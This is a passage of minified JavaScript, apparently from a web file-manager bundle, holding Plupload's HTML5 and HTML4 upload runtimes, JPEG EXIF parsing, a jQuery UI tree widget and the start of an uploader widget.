a();if(A.init(y.get("exif")[0])){A.setExif("PixelXDimension",B);A.setExif("PixelYDimension",x);y.set("exif",A.getBinary());if(t.hasEventListener("ExifData")){t.trigger("ExifData",r,A.EXIF())}if(t.hasEventListener("GpsData")){t.trigger("GpsData",r,A.GPS())}}}if(p.quality){try{w=q.toDataURL(n,p.quality/100)}catch(C){w=q.toDataURL(n)}}}else{w=q.toDataURL(n)}w=w.substring(w.indexOf("base64,")+7);w=atob(w);if(y&&y.headers&&y.headers.length){w=y.restore(w);y.purge()}q.parentNode.removeChild(q);v({success:true,data:w})}else{v({success:false})}};u.src=w})}j.runtimes.Html5=j.addRuntime("html5",{getFeatures:function(){var s,o,r,q,p,n;o=r=p=n=false;if(h.XMLHttpRequest){s=new XMLHttpRequest();r=!!s.upload;o=!!(s.sendAsBinary||s.upload)}if(o){q=!!(s.sendAsBinary||(h.Uint8Array&&h.ArrayBuffer));p=!!(File&&(File.prototype.getAsDataURL||h.FileReader)&&q);n=!!(File&&(File.prototype.mozSlice||File.prototype.webkitSlice||File.prototype.slice))}g=j.ua.safari&&j.ua.windows;return{html5:o,dragdrop:(function(){var t=k.createElement("div");return("draggable"in t)||("ondragstart"in t&&"ondrop"in t)}()),jpgresize:p,pngresize:p,multipart:p||!!h.FileReader||!!h.FormData,canSendBinary:q,cantSendBlobInFormData:!!(j.ua.gecko&&h.FormData&&h.FileReader&&!FileReader.prototype.readAsArrayBuffer),progress:r,chunks:n,multi_selection:!(j.ua.safari&&j.ua.windows),triggerDialog:(j.ua.gecko&&h.FormData||j.ua.webkit)}},init:function(p,r){var n,q;function o(w){var u,t,v=[],x,s={};for(t=0;t<w.length;t++){u=w[t];if(s[u.name]){continue}s[u.name]=true;x=j.guid();c[x]=u;v.push(new j.File(x,u.fileName||u.name,u.fileSize||u.size))}if(v.length){p.trigger("FilesAdded",v)}}n=this.getFeatures();if(!n.html5){r({success:false});return}p.bind("Init",function(w){var G,F,C=[],v,D,t=w.settings.filters,u,B,s=k.body,E;G=k.createElement("div");G.id=w.id+"_html5_container";j.extend(G.style,{position:"absolute",background:p.settings.shim_bgcolor||"transparent",width:"100px",height:"100px",overflow:"hidden",zIndex:99999,opacity:p.settings.shim_bgcolor?"":0});G.className="plupload html5";if(p.settings.container){s=k.getElementById(p.settings.container);if(j.getStyle(s,"position")==="static"){s.style.position="relative"}}s.appendChild(G);no_type_restriction:for(v=0;v<t.length;v++){u=t[v].extensions.split(/,/);for(D=0;D<u.length;D++){if(u[D]==="*"){C=[];break no_type_restriction}B=j.mimeTypes[u[D]];if(B&&j.inArray(B,C)===-1){C.push(B)}}}G.innerHTML='<input id="'+p.id+'_html5"  style="font-size:999px" type="file" accept="'+C.join(",")+'" '+(p.settings.multi_selection&&p.features.multi_selection?'multiple="multiple"':"")+" />";G.scrollTop=100;E=k.getElementById(p.id+"_html5");if(w.features.triggerDialog){j.extend(E.style,{position:"absolute",width:"100%",height:"100%"})}else{j.extend(E.style,{cssFloat:"right",styleFloat:"right"})}E.onchange=function(){o(this.files);this.value=""};F=k.getElementById(w.settings.browse_button);if(F){var z=w.settings.browse_button_hover,A=w.settings.browse_button_active,x=w.features.triggerDialog?F:G;if(z){j.addEvent(x,"mouseover",function(){j.addClass(F,z)},w.id);j.addEvent(x,"mouseout",function(){j.removeClass(F,z)},w.id)}if(A){j.addEvent(x,"mousedown",function(){j.addClass(F,A)},w.id);j.addEvent(k.body,"mouseup",function(){j.removeClass(F,A)},w.id)}if(w.features.triggerDialog){j.addEvent(F,"click",function(H){var y=k.getElementById(w.id+"_html5");if(y&&!y.disabled){y.click()}H.preventDefault()},w.id)}}});p.bind("PostInit",function(){var s=k.getElementById(p.settings.drop_element);if(s){if(g){j.addEvent(s,"dragenter",function(w){var v,t,u;v=k.getElementById(p.id+"_drop");if(!v){v=k.createElement("input");v.setAttribute("type","file");v.setAttribute("id",p.id+"_drop");v.setAttribute("multiple","multiple");j.addEvent(v,"change",function(){o(this.files);j.removeEvent(v,"change",p.id);v.parentNode.removeChild(v)},p.id);s.appendChild(v)}t=j.getPos(s,k.getElementById(p.settings.container));u=j.getSize(s);if(j.getStyle(s,"position")==="static"){j.extend(s.style,{position:"relative"})}j.extend(v.style,{position:"absolute",display:"block",top:0,left:0,width:u.w+"px",height:u.h+"px",opacity:0})},p.id);return}j.addEvent(s,"dragover",function(t){t.preventDefault()},p.id);j.addEvent(s,"drop",function(u){var t=u.dataTransfer;if(t&&t.files){o(t.files)}u.preventDefault()},p.id)}});p.bind("Refresh",function(s){var t,u,v,x,w;t=k.getElementById(p.settings.browse_button);if(t){u=j.getPos(t,k.getElementById(s.settings.container));v=j.getSize(t);x=k.getElementById(p.id+"_html5_container");j.extend(x.style,{top:u.y+"px",left:u.x+"px",width:v.w+"px",height:v.h+"px"});if(p.features.triggerDialog){if(j.getStyle(t,"position")==="static"){j.extend(t.style,{position:"relative"})}w=parseInt(j.getStyle(t,"zIndex"),10);if(isNaN(w)){w=0}j.extend(t.style,{zIndex:w});j.extend(x.style,{zIndex:w-1})}}});p.bind("DisableBrowse",function(s,u){var t=k.getElementById(s.id+"_html5");if(t){t.disabled=u}});p.bind("CancelUpload",function(){if(q&&q.abort){q.abort()}});p.bind("UploadFile",function(s,u){var v=s.settings,y,t;function x(A,D,z){var B;if(File.prototype.slice){try{A.slice();return A.slice(D,z)}catch(C){return A.slice(D,z-D)}}else{if(B=File.prototype.webkitSlice||File.prototype.mozSlice){return B.call(A,D,z)}else{return null}}}function w(A){var D=0,C=0,z=("FileReader"in h)?new FileReader:null;function B(){var I,M,K,L,H,J,F,E=s.settings.url;function G(V){var T=0,N="----pluploadboundary"+j.guid(),O,P="--",U="\r\n",R="";q=new XMLHttpRequest;if(q.upload){q.upload.onprogress=function(W){u.loaded=Math.min(u.size,C+W.loaded-T);s.trigger("UploadProgress",u)}}q.onreadystatechange=function(){var W,Y;if(q.readyState==4&&s.state!==j.STOPPED){try{W=q.status}catch(X){W=0}if(W>=400){s.trigger("Error",{code:j.HTTP_ERROR,message:j.translate("HTTP Error."),file:u,status:W})}else{if(K){Y={chunk:D,chunks:K,response:q.responseText,status:W};s.trigger("ChunkUploaded",u,Y);C+=J;if(Y.cancelled){u.status=j.FAILED;return}u.loaded=Math.min(u.size,(D+1)*H)}else{u.loaded=u.size}s.trigger("UploadProgress",u);V=I=O=R=null;if(!K||++D>=K){u.status=j.DONE;s.trigger("FileUploaded",u,{response:q.responseText,status:W})}else{B()}}}};if(s.settings.multipart&&n.multipart){L.name=u.target_name||u.name;q.open("post",E,true);j.each(s.settings.headers,function(X,W){q.setRequestHeader(W,X)});if(typeof(V)!=="string"&&!!h.FormData){O=new FormData();j.each(j.extend(L,s.settings.multipart_params),function(X,W){O.append(W,X)});O.append(s.settings.file_data_name,V);q.send(O);return}if(typeof(V)==="string"){q.setRequestHeader("Content-Type","multipart/form-data; boundary="+N);j.each(j.extend(L,s.settings.multipart_params),function(X,W){R+=P+N+U+'Content-Disposition: form-data; name="'+W+'"'+U+U;R+=unescape(encodeURIComponent(X))+U});F=j.mimeTypes[u.name.replace(/^.+\.([^.]+)/,"$1").toLowerCase()]||"application/octet-stream";R+=P+N+U+'Content-Disposition: form-data; name="'+s.settings.file_data_name+'"; filename="'+unescape(encodeURIComponent(u.name))+'"'+U+"Content-Type: "+F+U+U+V+U+P+N+P+U;T=R.length-V.length;V=R;if(q.sendAsBinary){q.sendAsBinary(V)}else{if(n.canSendBinary){var S=new Uint8Array(V.length);for(var Q=0;Q<V.length;Q++){S[Q]=(V.charCodeAt(Q)&255)}q.send(S.buffer)}}return}}E=j.buildUrl(s.settings.url,j.extend(L,s.settings.multipart_params));q.open("post",E,true);q.setRequestHeader("Content-Type","application/octet-stream");j.each(s.settings.headers,function(X,W){q.setRequestHeader(W,X)});q.send(V)}if(u.status==j.DONE||u.status==j.FAILED||s.state==j.STOPPED){return}L={name:u.target_name||u.name};if(v.chunk_size&&u.size>v.chunk_size&&(n.chunks||typeof(A)=="string")){H=v.chunk_size;K=Math.ceil(u.size/H);J=Math.min(H,u.size-(D*H));if(typeof(A)=="string"){I=A.substring(D*H,D*H+J)}else{I=x(A,D*H,D*H+J)}L.chunk=D;L.chunks=K}else{J=u.size;I=A}if(s.settings.multipart&&n.multipart&&typeof(I)!=="string"&&z&&n.cantSendBlobInFormData&&n.chunks&&s.settings.chunk_size){z.onload=function(){G(z.result)};z.readAsBinaryString(I)}else{G(I)}}B()}y=c[u.id];if(n.jpgresize&&s.settings.resize&&/\.(png|jpg|jpeg)$/i.test(u.name)){d.call(s,u,s.settings.resize,/\.png$/i.test(u.name)?"image/png":"image/jpeg",function(z){if(z.success){u.size=z.data.length;w(z.data)}else{if(n.chunks&&s.settings.chunk_size){w(y)}else{l(y,w)}}})}else{if(!n.chunks&&n.jpgresize){l(y,w)}else{w(y)}}});p.bind("Destroy",function(s){var u,v,t=k.body,w={inputContainer:s.id+"_html5_container",inputFile:s.id+"_html5",browseButton:s.settings.browse_button,dropElm:s.settings.drop_element};for(u in w){v=k.getElementById(w[u]);if(v){j.removeAllEvents(v,s.id)}}j.removeAllEvents(k.body,s.id);if(s.settings.container){t=k.getElementById(s.settings.container)}t.removeChild(k.getElementById(w.inputContainer))});r({success:true})}});function b(){var q=false,o;function r(t,v){var s=q?0:-8*(v-1),w=0,u;for(u=0;u<v;u++){w|=(o.charCodeAt(t+u)<<Math.abs(s+u*8))}return w}function n(u,s,t){var t=arguments.length===3?t:o.length-s-1;o=o.substr(0,s)+u+o.substr(t+s)}function p(t,u,w){var x="",s=q?0:-8*(w-1),v;for(v=0;v<w;v++){x+=String.fromCharCode((u>>Math.abs(s+v*8))&255)}n(x,t,w)}return{II:function(s){if(s===e){return q}else{q=s}},init:function(s){q=false;o=s},SEGMENT:function(s,u,t){switch(arguments.length){case 1:return o.substr(s,o.length-s-1);case 2:return o.substr(s,u);case 3:n(t,s,u);break;default:return o}},BYTE:function(s){return r(s,1)},SHORT:function(s){return r(s,2)},LONG:function(s,t){if(t===e){return r(s,4)}else{p(s,t,4)}},SLONG:function(s){var t=r(s,4);return(t>2147483647?t-4294967296:t)},STRING:function(s,t){var u="";for(t+=s;s<t;s++){u+=String.fromCharCode(r(s,1))}return u}}}function f(s){var u={65505:{app:"EXIF",name:"APP1",signature:"Exif\0"},65506:{app:"ICC",name:"APP2",signature:"ICC_PROFILE\0"},65517:{app:"IPTC",name:"APP13",signature:"Photoshop 3.0\0"}},t=[],r,n,p=e,q=0,o;r=new b();r.init(s);if(r.SHORT(0)!==65496){return}n=2;o=Math.min(1048576,s.length);while(n<=o){p=r.SHORT(n);if(p>=65488&&p<=65495){n+=2;continue}if(p===65498||p===65497){break}q=r.SHORT(n+2)+2;if(u[p]&&r.STRING(n+4,u[p].signature.length)===u[p].signature){t.push({hex:p,app:u[p].app.toUpperCase(),name:u[p].name.toUpperCase(),start:n,length:q,segment:r.SEGMENT(n,q)})}n+=q}r.init(null);return{headers:t,restore:function(y){r.init(y);var w=new f(y);if(!w.headers){return false}for(var x=w.headers.length;x>0;x--){var z=w.headers[x-1];r.SEGMENT(z.start,z.length,"")}w.purge();n=r.SHORT(2)==65504?4+r.SHORT(4):2;for(var x=0,v=t.length;x<v;x++){r.SEGMENT(n,0,t[x].segment);n+=t[x].length}return r.SEGMENT()},get:function(x){var y=[];for(var w=0,v=t.length;w<v;w++){if(t[w].app===x.toUpperCase()){y.push(t[w].segment)}}return y},set:function(y,x){var z=[];if(typeof(x)==="string"){z.push(x)}else{z=x}for(var w=ii=0,v=t.length;w<v;w++){if(t[w].app===y.toUpperCase()){t[w].segment=z[ii];t[w].length=z[ii].length;ii++}if(ii>=z.length){break}}},purge:function(){t=[];r.init(null)}}}function a(){var q,n,o={},t;q=new b();n={tiff:{274:"Orientation",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer"},exif:{36864:"ExifVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",36867:"DateTimeOriginal",33434:"ExposureTime",33437:"FNumber",34855:"ISOSpeedRatings",37377:"ShutterSpeedValue",37378:"ApertureValue",37383:"MeteringMode",37384:"LightSource",37385:"Flash",41986:"ExposureMode",41987:"WhiteBalance",41990:"SceneCaptureType",41988:"DigitalZoomRatio",41992:"Contrast",41993:"Saturation",41994:"Sharpness"},gps:{0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude"}};t={ColorSpace:{1:"sRGB",0:"Uncalibrated"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{1:"Daylight",2:"Fliorescent",3:"Tungsten",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 -5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire.",1:"Flash fired.",5:"Strobe return light not detected.",7:"Strobe return light detected.",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},ExposureMode:{0:"Auto exposure",1:"Manual exposure",2:"Auto bracket"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},GPSLatitudeRef:{N:"North latitude",S:"South latitude"},GPSLongitudeRef:{E:"East longitude",W:"West longitude"}};function p(u,C){var w=q.SHORT(u),z,F,G,B,A,v,x,D,E=[],y={};for(z=0;z<w;z++){x=v=u+12*z+2;G=C[q.SHORT(x)];if(G===e){continue}B=q.SHORT(x+=2);A=q.LONG(x+=2);x+=4;E=[];switch(B){case 1:case 7:if(A>4){x=q.LONG(x)+o.tiffHeader}for(F=0;F<A;F++){E[F]=q.BYTE(x+F)}break;case 2:if(A>4){x=q.LONG(x)+o.tiffHeader}y[G]=q.STRING(x,A-1);continue;case 3:if(A>2){x=q.LONG(x)+o.tiffHeader}for(F=0;F<A;F++){E[F]=q.SHORT(x+F*2)}break;case 4:if(A>1){x=q.LONG(x)+o.tiffHeader}for(F=0;F<A;F++){E[F]=q.LONG(x+F*4)}break;case 5:x=q.LONG(x)+o.tiffHeader;for(F=0;F<A;F++){E[F]=q.LONG(x+F*4)/q.LONG(x+F*4+4)}break;case 9:x=q.LONG(x)+o.tiffHeader;for(F=0;F<A;F++){E[F]=q.SLONG(x+F*4)}break;case 10:x=q.LONG(x)+o.tiffHeader;for(F=0;F<A;F++){E[F]=q.SLONG(x+F*4)/q.SLONG(x+F*4+4)}break;default:continue}D=(A==1?E[0]:E);if(t.hasOwnProperty(G)&&typeof D!="object"){y[G]=t[G][D]}else{y[G]=D}}return y}function s(){var v=e,u=o.tiffHeader;q.II(q.SHORT(u)==18761);if(q.SHORT(u+=2)!==42){return false}o.IFD0=o.tiffHeader+q.LONG(u+=2);v=p(o.IFD0,n.tiff);o.exifIFD=("ExifIFDPointer"in v?o.tiffHeader+v.ExifIFDPointer:e);o.gpsIFD=("GPSInfoIFDPointer"in v?o.tiffHeader+v.GPSInfoIFDPointer:e);return true}function r(w,u,z){var B,y,x,A=0;if(typeof(u)==="string"){var v=n[w.toLowerCase()];for(hex in v){if(v[hex]===u){u=hex;break}}}B=o[w.toLowerCase()+"IFD"];y=q.SHORT(B);for(i=0;i<y;i++){x=B+12*i+2;if(q.SHORT(x)==u){A=x+8;break}}if(!A){return false}q.LONG(A,z);return true}return{init:function(u){o={tiffHeader:10};if(u===e||!u.length){return false}q.init(u);if(q.SHORT(0)===65505&&q.STRING(4,5).toUpperCase()==="EXIF\0"){return s()}return false},EXIF:function(){var v;v=p(o.exifIFD,n.exif);if(v.ExifVersion&&j.typeOf(v.ExifVersion)==="array"){for(var w=0,u="";w<v.ExifVersion.length;w++){u+=String.fromCharCode(v.ExifVersion[w])}v.ExifVersion=u}return v},GPS:function(){var u;u=p(o.gpsIFD,n.gps);if(u.GPSVersionID){u.GPSVersionID=u.GPSVersionID.join(".")}return u},setExif:function(u,v){if(u!=="PixelXDimension"&&u!=="PixelYDimension"){return false}return r("exif",u,v)},getBinary:function(){return q.SEGMENT()}}}})(window,document,plupload);(function(d,a,b,c){function e(f){return a.getElementById(f)}b.runtimes.Html4=b.addRuntime("html4",{getFeatures:function(){return{multipart:true,triggerDialog:(b.ua.gecko&&d.FormData||b.ua.webkit)}},init:function(f,g){f.bind("Init",function(p){var j=a.body,n,h="javascript",k,x,q,z=[],r=/MSIE/.test(navigator.userAgent),t=[],m=p.settings.filters,o,l,s,w;no_type_restriction:for(o=0;o<m.length;o++){l=m[o].extensions.split(/,/);for(w=0;w<l.length;w++){if(l[w]==="*"){t=[];break no_type_restriction}s=b.mimeTypes[l[w]];if(s&&b.inArray(s,t)===-1){t.push(s)}}}t=t.join(",");function v(){var C,A,y,B;q=b.guid();z.push(q);C=a.createElement("form");C.setAttribute("id","form_"+q);C.setAttribute("method","post");C.setAttribute("enctype","multipart/form-data");C.setAttribute("encoding","multipart/form-data");C.setAttribute("target",p.id+"_iframe");C.style.position="absolute";A=a.createElement("input");A.setAttribute("id","input_"+q);A.setAttribute("type","file");A.setAttribute("accept",t);A.setAttribute("size",1);B=e(p.settings.browse_button);if(p.features.triggerDialog&&B){b.addEvent(e(p.settings.browse_button),"click",function(D){if(!A.disabled){A.click()}D.preventDefault()},p.id)}b.extend(A.style,{width:"100%",height:"100%",opacity:0,fontSize:"99px",cursor:"pointer"});b.extend(C.style,{overflow:"hidden"});y=p.settings.shim_bgcolor;if(y){C.style.background=y}if(r){b.extend(A.style,{filter:"alpha(opacity=0)"})}b.addEvent(A,"change",function(G){var E=G.target,D,F=[],H;if(E.value){e("form_"+q).style.top=-1048575+"px";D=E.value.replace(/\\/g,"/");D=D.substring(D.length,D.lastIndexOf("/")+1);F.push(new b.File(q,D));if(!p.features.triggerDialog){b.removeAllEvents(C,p.id)}else{b.removeEvent(B,"click",p.id)}b.removeEvent(A,"change",p.id);v();if(F.length){f.trigger("FilesAdded",F)}}},p.id);C.appendChild(A);j.appendChild(C);p.refresh()}function u(){var y=a.createElement("div");y.innerHTML='<iframe id="'+p.id+'_iframe" name="'+p.id+'_iframe" src="'+h+':&quot;&quot;" style="display:none"></iframe>';n=y.firstChild;j.appendChild(n);b.addEvent(n,"load",function(D){var E=D.target,C,A;if(!k){return}try{C=E.contentWindow.document||E.contentDocument||d.frames[E.id].document}catch(B){p.trigger("Error",{code:b.SECURITY_ERROR,message:b.translate("Security error."),file:k});return}A=C.body.innerHTML;if(A){k.status=b.DONE;k.loaded=1025;k.percent=100;p.trigger("UploadProgress",k);p.trigger("FileUploaded",k,{response:A})}},p.id)}if(p.settings.container){j=e(p.settings.container);if(b.getStyle(j,"position")==="static"){j.style.position="relative"}}p.bind("UploadFile",function(y,B){var C,A;if(B.status==b.DONE||B.status==b.FAILED||y.state==b.STOPPED){return}C=e("form_"+B.id);A=e("input_"+B.id);A.setAttribute("name",y.settings.file_data_name);C.setAttribute("action",y.settings.url);b.each(b.extend({name:B.target_name||B.name},y.settings.multipart_params),function(F,D){var E=a.createElement("input");b.extend(E,{type:"hidden",name:D,value:F});C.insertBefore(E,C.firstChild)});k=B;e("form_"+q).style.top=-1048575+"px";C.submit()});p.bind("FileUploaded",function(y){y.refresh()});p.bind("StateChanged",function(y){if(y.state==b.STARTED){u()}else{if(y.state==b.STOPPED){d.setTimeout(function(){b.removeEvent(n,"load",y.id);if(n.parentNode){n.parentNode.removeChild(n)}},0)}}b.each(y.files,function(B,A){if(B.status===b.DONE||B.status===b.FAILED){var C=e("form_"+B.id);if(C){C.parentNode.removeChild(C)}}})});p.bind("Refresh",function(A){var G,B,C,D,y,H,I,F,E;G=e(A.settings.browse_button);if(G){y=b.getPos(G,e(A.settings.container));H=b.getSize(G);I=e("form_"+q);F=e("input_"+q);b.extend(I.style,{top:y.y+"px",left:y.x+"px",width:H.w+"px",height:H.h+"px"});if(A.features.triggerDialog){if(b.getStyle(G,"position")==="static"){b.extend(G.style,{position:"relative"})}E=parseInt(G.style.zIndex,10);if(isNaN(E)){E=0}b.extend(G.style,{zIndex:E});b.extend(I.style,{zIndex:E-1})}C=A.settings.browse_button_hover;D=A.settings.browse_button_active;B=A.features.triggerDialog?G:I;if(C){b.addEvent(B,"mouseover",function(){b.addClass(G,C)},A.id);b.addEvent(B,"mouseout",function(){b.removeClass(G,C)},A.id)}if(D){b.addEvent(B,"mousedown",function(){b.addClass(G,D)},A.id);b.addEvent(a.body,"mouseup",function(){b.removeClass(G,D)},A.id)}}});f.bind("FilesRemoved",function(y,B){var A,C;for(A=0;A<B.length;A++){C=e("form_"+B[A].id);if(C){C.parentNode.removeChild(C)}}});f.bind("DisableBrowse",function(y,B){var A=a.getElementById("input_"+q);if(A){A.disabled=B}});f.bind("Destroy",function(y){var A,B,C,D={inputContainer:"form_"+q,inputFile:"input_"+q,browseButton:y.settings.browse_button};for(A in D){B=e(D[A]);if(B){b.removeAllEvents(B,y.id)}}b.removeAllEvents(a.body,y.id);b.each(z,function(F,E){C=e("form_"+F);if(C){j.removeChild(C)}})});v()});g({success:true})}})})(window,document,plupload);(function($){$.widget("ui.tree",{options:{rootName:'Root',rootClass:'root',loaderClass:'load',collapseTree:false,charLength:false},_init:function(){var self=this;if(!this.element)
return;this._trigger('onInit',null,function(){self._nodeEvents();});},_nodeEvents:function(parent){var self=this;if(!parent){parent=this.element;}
$('ul:first',parent).attr({'role':'tree'}).children('li').attr('aria-level',1);$('li',parent).attr({'role':'treeitem'}).attr('aria-expanded',function(){return $(this).hasClass('open')?true:false;}).attr('aria-level',function(i,v){if(!v){return parseFloat($(this.parentNode.parentNode).attr('aria-level'))+1;}});$('ul:gt(0)',parent).attr({'role':'group'});$('div.tree-image',parent).attr('role','presentation').each(function(){var p=self._findParent(this);$(this).click(function(e){self.toggleNode(e,p);});});$('span',parent).attr('role','presentation').each(function(){if(!$.support.cssFloat){this.onselectstart=function(){return false;};}}).click(function(e){var p=self._findParent(this);self._trigger('onNodeClick',e,p);});},_hasNodes:function(parent){if($.type(parent)=='string'){parent=this._findParent(parent);}
var c=$('li',parent);return c.length>1||(c.length==1&&!$(c).is('.spacer'));},_isNode:function(id,parent){var n=this._findNode(id,parent);return n.length?true:false;},_getNode:function(parent){if($.type(parent)=='string'){parent=this._findParent(parent);}
return $(parent).find('ul.tree-node');},_resetNodes:function(){$('span, div.tree-image',this.element).removeClass('open');},renameNode:function(id,name){var parent=$.String.dirname(id);var node=this._findNode(id,parent);$(node).attr('id',name);$('a:first',node).html($.String.basename(name));$('li[id^="'+this._escape(encodeURI(id))+'"]',node).each(function(n){var nt=$(n).attr('id');$(n).attr('id',nt.replace(id,name));});},removeNode:function(id){var parent=$.String.dirname(id);var node=this._findNode(id,parent);var ul=$(node).parent('ul');$(node).remove();if(ul&&!this._hasNodes(ul)){$(ul).remove();}},createNode:function(nodes,parent){var self=this;var e,p,h,l,np,i;if(!nodes.length){return;}
if(!parent){parent=$.String.dirname($(nodes[0]).attr('id'));}
if($.type(parent)=='string'){parent=this._findParent(parent);}
if(nodes&&nodes.length){var ul=$('ul.tree-node:first',parent)||null;if(!ul.length){ul=document.createElement('ul');$(ul).attr({'role':'group'}).addClass('tree-node').append('<li class="spacer" role="treeitem" aria-expanded="false"></li>');$(parent).append(ul);}
$.each(nodes,function(i,node){if(!self._isNode(node.id,parent)){if(!node['class']){node['class']='folder';}
var title=node.name||node.id;title=$.String.decode(title);name=title;len=self.options.charLength;if(len&&name.length>len){name=name.substring(0,len)+'...';}
var img=/folder/.test(node['class'])?'tree-image':'tree-noimage';var url=!node.url?'javascript:;':node.url;var li=document.createElement('li');$(li).attr({'id':self._escape(encodeURI(node.id))}).append('<div class="tree-row">'
+'<div role="presentation" class="'+img
+'"></div>'+'<span role="presentation" class="'
+node['class']+'">'
+'<a href="'+url
+'" title="'+title+'">'
+name+'</a>'+'</span>'
+'</div>').attr('aria-level',parseFloat($(parent).attr('aria-level'))+1);$(ul).append(li);$('div.tree-row',li).hover(function(){$(this).addClass('hover');},function(){$(this).removeClass('hover');});$('div.tree-image',li).click(function(e){self.toggleNode(e,li);});$('span',li).click(function(e){self._trigger('onNodeClick',e,li);});self.toggleNodeState(parent,1);self._trigger('onNodeCreate');}else{self.toggleNodeState(parent,1);}});}else{this.toggleNodeState(parent,1);}},_findParent:function(el){if($.type(el)=='string'){return $('li[id="'+this._encode(el)+'"]:first',this.element);}else{return $(el).parents('li:first');}},_findNode:function(id,parent){if(!parent||parent=='/'){parent=this.element;}
if($.type(parent)=='string'){parent=this._findParent(parent);}
return $('li[id="'+this._escape(this._encode(id))+'"]:first',parent);},toggleLoader:function(node){$('span:first',node).toggleClass(this.options.loaderClass);},_collapseNodes:function(ex){var self=this;if(!ex)
this._resetNodes();var parent=$(ex).parent();$('li',parent).each(function(el){if(el!=ex){if($(el).parent()==parent){self.toggleNodeState(el,0);var child=self._getNode(el);if(child){$(child).addClass('hide');}}}});},toggleNodeState:function(node,state){if(state==1){$(node).addClass('open').attr('aria-expanded',true);}else{$(node).removeClass('open').attr('aria-expanded',false);}
if(state==1){if(node.id=='/'){return;}
var c=$('ul.tree-node',node);if(c.length){if($(node).hasClass('open')){$(c).removeClass('hide');}else{$(c).addClass('hide');}}}},toggleNode:function(e,node){if(e.shiftKey){return this._trigger('onNodeLoad',e,node);}
var child=this._getNode(node);if(!child.length){if($('div.tree-image',node).hasClass('open')){this.toggleNodeState(node);}else{this._trigger('onNodeLoad',e,node);}}else{$(child).toggleClass('hide');this.toggleNodeState(node);}
if(this.options.collapseTree){this._collapseNodes(node);}},_encode:function(s){s=decodeURIComponent(s);return encodeURIComponent(s).replace(/%2F/gi,'\/');},_escape:function(s){return s.replace(/'/,'%27');},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.tree,{version:"2.5.16"});})(jQuery);(function($){function isJSON(s){return/^[\],:{}\s]*$/.test(s.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,''));}
$.widget("ui.uploader",{uploader:{},errors:0,uploading:false,options:{field:$('input[name=file]:first'),size:false,limit:5,debug:false,filter:null,swf:'uploader.swf',xap:'uploader.xap',runtimes:'html5,flash,html4',urlstream_upload:true,insert:true,buttons:{},required:['multipart'],websafe_mode:'utf-8',canvasResize:true},FILE_SIZE_ERROR:-600,FILE_EXTENSION_ERROR:-601,FILE_INVALID_ERROR:-800,_init:function(){var self=this;this.field=this.options.field;this.files=[];this.current=null;$(this.field).remove();this._createUploader();},_createSimple:function(){$.extend(this.options,{runtimes:'html4',required:['multipart']});if(this.uploader){this.uploader.destroy();}
$('#upload-queue').empty();this._createUploader();},_createUploader:function(){var self=this;var options=this.options,filters=[];if($.isPlainObject(options.filter)){$.each(options.filter,function(k,v){filters.push({title:k,extensions:v.replace(/\*\./g,'').replace(/;/,',')});});}
var size=this.options.size;if(!/kb/.test(size)){size=parseFloat(size)+'kb';}
var container=$('#upload-browse').parent().attr('id');if(!container){container='upload_buttons_container';$('#upload-browse').parent().attr('id',container);}
$('#upload-browse').addClass('loading').button('disable');try{this.uploader=new plupload.Uploader({container:container,runtimes:options.runtimes,unique_names:false,browse_button:'upload-browse',browse_button_hover:'ui-state-hover',browse_button_active:'ui-state-active',drop_element:'upload-queue-block',max_file_size:size,url:options.url,flash_swf_url:options.swf,silverlight_xap_url:options.xap,filters:filters,multipart:true,required_features:options.required.join(','),rename:true,urlstream_upload:true});this.uploader.bind('Init',function(up){$('#upload-browse').removeClass('loading').button('enable');self._createDragDrop();up.features.triggerDialog=false;});this.uploader.bind('PostInit',function(up){if(up.runtime=='html5'){$('#'+up.id+'_html5').attr('accept','');}});this.uploader.bind('Refresh',function(up){});this.uploader.bind('QueueChanged',function(){var files=self.uploader.files;$('#upload-queue-drag, #upload-queue-queue').css('display','none');self._createQueue(files);});this.uploader.bind('UploadFile',function(up,file){self._onStart(file);});this.uploader.bind('UploadComplete',function(up){self._onAllComplete();});this.uploader.bind('FileUploaded',function(up,file,o){var status='';switch(file.status){case plupload.DONE:status='complete';break;case plupload.FAILED:status='error';self.errors++;break;}
if(o.response===''){if(o.status===200){o.response='{"error":false,"files":["'+file.name+'"]}';}else{o.response='{"error":"Upload failed: Error code - '+o.status+'"}';}}
if(!isJSON(o.response)){o.response='{"error":"Upload failed: '+$.trim(o.response)+'"}';}
